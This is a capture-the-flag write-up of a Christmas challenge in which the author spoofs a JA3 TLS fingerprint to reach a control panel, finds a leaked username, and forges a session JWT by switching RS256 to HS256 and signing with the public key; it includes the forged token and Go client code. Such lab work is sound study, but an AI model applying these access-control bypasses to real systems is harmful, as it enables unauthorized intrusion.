Challenge - Santa's Gift Factory Control
Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:
771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0
Mission: Connect to Santa's super-secret control panel and circumvent its access controls.
Santa's Control Panel (Link is likely down now!)
Hints:
403 forbidden
: this is part of the challengeOpening the link to Santa's Control Panel yielded 4403 forbidden` with no further information. So the fingerprinting stuff was crucial. But what fingerprint? After a bit internet research it became clear that its a JA3 fingerprint for the TLS client hello message. To be more specific various fields from this message. For example the TLS version and supported cipher suites.
First idea was to compile my own OpenSSL and go from there, but then I discovered that there is a library available for impersonation. I had to set up Go for this and deal with dependency bullshit but got it running quite fast.
The given fingerprint meant something like this:
771 = 0x303 = TLS 1.2 (SSL Version)
49162 = C00A = Cipher Suite TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
49161 = C009 = Cipher Suite TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
52393 = CCA9 = Cipher Suite TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
49200 = C030 = Cipher Suite TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
...
For more info see the ja3 description. Cipher suite numbers can be looked up at IANA. I didn’t have to bother too much as the impersonation library takes the fingerprint and configures itself accordingly. Was no trouble at all.
After requesting the admin panel over the impersonated connection, I got a basic login page instead of an error. Here I was stuck for a while, out of ideas. Brute forcing and more importantly injection were not a thing according to the challenge hints. My guessed login with "santa" / "santa" credentials also gave nothing. After the hint of a friendly peer called "HaCk0", I tried "admin" / "admin". This time the response contained a comment in the HTML and a cookie:
<!--DevNotice: User santa seems broken. Temporarily use santa1337.-->
{Scheme:https Opaque: User: Host:876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land Path:/login RawPath: ForceQuery:false RawQuery: Fragment: RawFragment:} - [session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgyNDA4NTUsImlhdCI6MTYwODIzNzI1NSwic3ViIjoibm9uZSJ9.L_3iZLU61UJerXUh_5iyeHFbsJxdjhI2n1-rIEu2jhWTUA6_FIHHIQ_25Tx4MsJ0BgNBon26fGE45yEen0JRrjIhLFz2di_toF5jT31hmwn_485n8iERrv5YmjypapzHoZ3CPVXhV9TiRHuXA6CGfs7-_aFV1eJR1tDDmozRCrHa7lD9MS4M-vVez8VvpbzQDEtoT7rBAfHM_ZeVyC0En7N9l6Uxccil1OV6hWbNauAg1_w71IrBb2R8lLKiX1AK1UPZzYLEwH0RMCEisjMRm6hUu4xxNzRdxC2OOPAA41bG4XIvqH65fkyRa57B83ZVsl_S5QLBv-XcNzboikWsxg; Path=/]
Experienced people will recognize above text as JWT token immediately, others will have to decode the base64 strings first.
I suspected for a while that I might get an active session cookie for the santa user somehow. This was only an inactive and anonymous one ("sub":"none"
), so more work had to be done. The base64 decoded header and payload:
{"typ":"JWT","alg":"RS256","kid":"/keys/1d21a9f945"}
{"exp":1608240855,"iat":1608237255,"sub":"none"}
You can see we are dealing with an asymmetrical signature ("alg":"RS256"
), but what can you do? First, we downloaded the public key from /keys/1d21a9f945
. Turns out its quite short. Recovering the private key was thus an idea, we did some research first however.
Good thing there are articles out there explaining some attack vectors:
Since we got an asymmetric signed payload (RS256), option 2 was already extra hard if not impossible so we went with option 1 and 3 first.
Daniel prepared option 3. He changed the algorithm to HS256
and used the public key for signing, in the hope the server would evaluate "kid":"/keys/1d21a9f945"
and use it as well. In the meantime I tried option 1, but without success. When Daniel was done, I set the forged token as cookie in my Go program and requested the site again. The forged token, with "alg":"HS256"
and "sub":"santa1337"
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJpYXQiOiIxNjA4MjQxNTQ5IiwiZXhwIjoiMTYwODI0NTE0OSIsInN1YiI6InNhbnRhMTMzNyJ9.QdiiL_CVB5CBh92k9790IWZc7W_9kAti7ckrfMZb23g
And indeed, the token worked and we got in. No login dialog. We were presented a basic control panel, but more importantly, in the HTML somewhere, the flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}
Finally, the code. It's not pretty, since I don't use Go:
func main() {
// custom transport for JA3 impersonation
tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")
// class i c&p'd from somewhere because std libs cookie jar is crippled
realJar, _ := cookiejar.New(nil)
jar := &ExportableCookieJar{
jar: realJar,
allCookies: make(map[url.URL][]*http.Cookie),
}
// forged JWT token
cookie := http.Cookie{
Name: "session",
Value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJpYXQiOiIxNjA4MjQxNTQ5IiwiZXhwIjoiMTYwODI0NTE0OSIsInN1YiI6InNhbnRhMTMzNyJ9.QdiiL_CVB5CBh92k9790IWZc7W_9kAti7ckrfMZb23g",
}
cookieUrl, _ := url.Parse("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/login")
jar.SetCookies(cookieUrl, []*http.Cookie{ &cookie})
// do request
client := &http.Client{Transport: tr, Jar: jar}
resp, err := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/")
if err != nil {
fmt.Println(err)
}
// dump response
defer resp.Body.Close()
bodyBytes, _ := ioutil.ReadAll(resp.Body)
fmt.Println("Status : ", resp.Status)
fmt.Println("Header: ", resp.Header)
fmt.Println(string(bodyBytes))
exp := jar.ExportAllCookies()
for u, c := range exp {
fmt.Println(fmt.Printf("%+v - %+v\n", u, c))
}
}